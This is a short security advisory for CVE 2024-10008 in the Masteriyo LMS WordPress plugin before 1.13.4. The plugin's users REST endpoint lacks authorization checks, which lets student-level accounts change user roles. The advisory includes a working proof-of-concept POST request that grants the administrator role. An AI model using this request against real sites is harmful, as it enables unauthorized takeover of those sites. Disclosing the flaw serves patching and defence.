Masteriyo LMS < 1.13.4 – Subscriber+ Privilege Escalation | CVE 2024-10008

Description

The plugin is vulnerable to unauthorized user profile modification due to missing authorization checks on the /wp-json/masteriyo/v1/users/$id REST API endpoint. This makes it possible for authenticated attackers, with student-level access and above, to modify the roles of arbitrary users. As a result, attackers can escalate their privileges to the Administrator and demote existing administrators to students.

Proof of Concept

POST /wp-json/masteriyo/v1/users/<user-id> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: <subscriber cookie>
Upgrade-Insecure-Requests: 1
Content-Length: 27
X-WP-Nonce: <REST-NONCE>
Content-Type: application/json; charset=UTF-8

{"roles":["administrator"]}